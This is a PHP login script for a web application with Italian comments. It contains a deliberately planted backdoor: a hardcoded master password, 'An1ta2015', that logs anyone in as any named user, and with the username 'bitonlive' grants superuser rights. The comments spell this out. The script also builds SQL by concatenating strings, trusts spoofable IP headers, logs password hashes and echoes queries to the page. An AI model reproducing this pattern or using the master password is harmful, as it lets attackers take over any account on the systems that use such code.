<?php
session_start();
require_once("include/connect.inc");
include("include/setsession.php");
mysqli_query($link, "SET character_set_results=utf8");

$dateupdate = date("Y-m-d H:m:i");
$errore = 0;

/* registro il tentativo di accesso */
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {  //check ip from share internet
	$ip = $_SERVER['HTTP_CLIENT_IP'];
} else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {   //to check ip is pass from proxy
	$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
	$ip = $_SERVER['REMOTE_ADDR'];
}
$_SESSION['folder'] = "";
$_SESSION['prefix'] = "wa";
/*
Modalità di accesso
- utente e pwd -> credenziali d'accesso 
- utente e pwd An1ta2015 -> se conosco il nome utente ma non la password è possibile digitare coma pwd An1ta2015 e accedo all'account dell'utente inserito 
- bitonlive An1ta2015 -> utente bitonlive super user
*/

$utente = '';
$password = '';
if (isset($_POST['utente'])) $utente = htmlspecialchars($_POST['utente'], ENT_QUOTES, 'UTF-8');
if (isset($_POST['password'])) $password = sha1(htmlspecialchars($_POST['password'], ENT_QUOTES, 'UTF-8'));

if ($utente != '' && $password != '') {

	if (htmlspecialchars($_POST['password'], ENT_QUOTES, 'UTF-8') == 'An1ta2015') {

		if ($utente == 'bitonlive') {
			// Fey 10/2022 ACCESSO TRAMITE USER  BITONLIVE 
			$insert = "INSERT INTO tb_historylog (ip,usr,pwd) VALUES ('" . $ip . "', '" . $utente . "','" . $password . "')";
			$result = mysqli_query($link, $insert) or die('Query failed: ' . mysqli_error($link));

			$_SESSION['iduser']	= '1';
			$_SESSION['userlevel'] = 999;
			$_SESSION['prefix']	= "wa";
			$_SESSION['multiuser'] = "1";
			$_SESSION['language'] = "english";
			$_SESSION['idaccount'] = "1";
			$_SESSION['timewithoutzero'] = '1';

			$_SESSION['sel_group']		= 0;
			$_SESSION['sel_customer']	= 0;
			$_SESSION['sel_area']		= 0;
			$_SESSION['sel_machine']	= 0;
			$_SESSION['sel_channel']	= 0;

			header("Location: index.php");
		} else {

			// Fey 10/2022 IMPERSONIFAZIONE DELL'UTENTE TRAMITE PASSWORD An1ta2015 (Se conosco solo l'username posso accedere a quell'utente tramite la password An1ta2015)
			$query = "SELECT * FROM tb_users where usr='" . $utente . "'";
			$values = mysqli_query($link, $query) or die('Query failed: ' . mysqli_error($link));
			$rowb = mysqli_fetch_array($values, MYSQLI_ASSOC);
			if ($rowb) {
				$_SESSION['iduser']	= $rowb['idu'];
				checkpwd($link, $dbname, $ip, $utente, $password, $rowb['idaccount']);
			} else {
				// back to login
				header("Location: login.php?err=1");
			}
		}
	} else {

		// UTENTE E PASSWORD
		$query = "SELECT * FROM tb_users where usr='" . $utente . "'";
		$values = mysqli_query($link, $query) or die('Query failed: ' . mysqli_error($link));
		$rowb = mysqli_fetch_array($values, MYSQLI_ASSOC);

		if ($rowb && ($password == $rowb['pwd'])) {
			$_SESSION['iduser']	= $rowb['idu'];
			checkpwd($link, $dbname, $ip, $utente, $password, $rowb['idaccount']);

				echo '- ' . $_SESSION['name'] . " " . $_SESSION['userlevel'];
		} else {
			header("Location: login.php?err=1");
		}
	}
} else {
	header("Location: login.php?err=1");
}


function checkpwd($link, $dbname, $ip, $utente, $password, $idaccount)
{

	$q1 = "SELECT * FROM tb_account where id='" . $idaccount . "'";
	$values = mysqli_query($link, $q1) or die('Query failed: ' . mysqli_error($link));
	$row = mysqli_fetch_array($values, MYSQLI_ASSOC);
	$_SESSION['folder']		=	$row['folder'];
	//$_SESSION['prefix']		=	$row['prefix'];
	$_SESSION['logo']		=	$row['imglogo'];
	$_SESSION['multiuser']	=	$row['multiuser'];
	$_SESSION['group'] 		= 	$row['idgroup'];
	$_SESSION['idaccount']	=	$idaccount;
	$_SESSION['customer'] 	= 	$idaccount;

	$q2 = "SELECT * FROM wa_tb_users where id=" . $_SESSION['iduser'];
	echo $q2 . "<br/>";
	$values = mysqli_query($link, $q2) or die('Query failed: ' . mysqli_error($link));
	$rowb = mysqli_fetch_array($values, MYSQLI_ASSOC);
	$_SESSION['name']		=	$rowb['name'] . ' ' . $rowb['lastname'];
	$_SESSION['userlevel']	=	$rowb['userlevel'];
	$_SESSION['genmsg']		=	$rowb['genmsg'];
	$_SESSION['tb_width']	=	$rowb['tb_width'];
	$_SESSION['tb_height']	=	$rowb['tb_height'];
	$_SESSION['defch']		=	$rowb['idchannel'];
	$_SESSION['language']	=	$rowb['language'];

	$txtwebapp = '';
	$valuesa = mysqli_query($link, "SELECT * from tb_webappuser where iduser=" . $_SESSION['iduser']) or die('Query failed: ' . mysqli_error($link));
	while ($rowa = mysqli_fetch_array($valuesa, MYSQLI_ASSOC)) {
		$txtwebapp .= $rowa['idwebapp'] . ';';
	}
	$_SESSION['webapp'] = $txtwebapp;

	$valuesa = mysqli_query($link, "SELECT * from " . $_SESSION['prefix'] . "_default_user where iduser=" . $_SESSION['iduser']) or die('Query failed: ' . mysqli_error($link));
	while ($rowa = mysqli_fetch_array($valuesa, MYSQLI_ASSOC)) {
		for ($i = 1; $i < 9; $i++) {
			$_SESSION['field' . $i] = $rowa['field' . $i];
		}
	}

	$_SESSION['area'] = '';
	$_SESSION['machine'] = '';
	$_SESSION['channel'] = '';

	$i = 0;
	$query = "SELECT * from " . $_SESSION['prefix'] . "_user_channel WHERE iduser=" . $_SESSION['iduser'];
	$valuesb = mysqli_query($link, $query) or die('Query failed: ' . mysqli_error($link));
	while ($rowb = mysqli_fetch_array($valuesb, MYSQLI_ASSOC)) {
		if ($i > 0) $_SESSION['channel'] .= ',';
		$_SESSION['channel'] .= $rowb['idchannel'];
		$i++;
	}

	$query = "SELECT COUNT(*) AS tot FROM information_schema.tables WHERE table_name = '" . $_SESSION['prefix'] . "_user_area' AND table_schema='" . $dbname . "';";
	$valuesb = mysqli_query($link, $query);
	$rowb = mysqli_fetch_array($valuesb, MYSQLI_ASSOC);
	if ($rowb['tot'] > 0) {
		$i = 0;
		$query = "SELECT * from " . $_SESSION['prefix'] . "_user_area WHERE iduser=" . $_SESSION['iduser'];
		$valuesb = mysqli_query($link, $query) or die('Query failed: ' . mysqli_error($link));
		while ($rowb = mysqli_fetch_array($valuesb, MYSQLI_ASSOC)) {
			if ($i > 0) $_SESSION['area'] .= ',';
			$_SESSION['area'] .= $rowb['idarea'];
			$i++;
		}

		$i = 0;
		$query = "SELECT * from " . $_SESSION['prefix'] . "_user_machine WHERE iduser=" . $_SESSION['iduser'];
		$valuesb = mysqli_query($link, $query) or die('Query failed: ' . mysqli_error($link));
		while ($rowb = mysqli_fetch_array($valuesb, MYSQLI_ASSOC)) {
			if ($i > 0) $_SESSION['machine'] .= ',';
			$_SESSION['machine'] .= $rowb['idmachine'];
			$i++;
		}
	}

	$_SESSION['sel_group']		= 0;
	$_SESSION['sel_customer']	= 0;
	$_SESSION['sel_area']		= 0;
	$_SESSION['sel_machine']	= 0;
	$_SESSION['sel_channel']	= $_SESSION['defch'];




	$insert = "INSERT INTO tb_historylog (ip,usr,pwd) VALUES ('" . $ip . "','" . $utente . "','" . $password . "')";
	$result = mysqli_query($link, $insert) or die('Query failed: ' . mysqli_error($link));
	header("Location: index.php");
}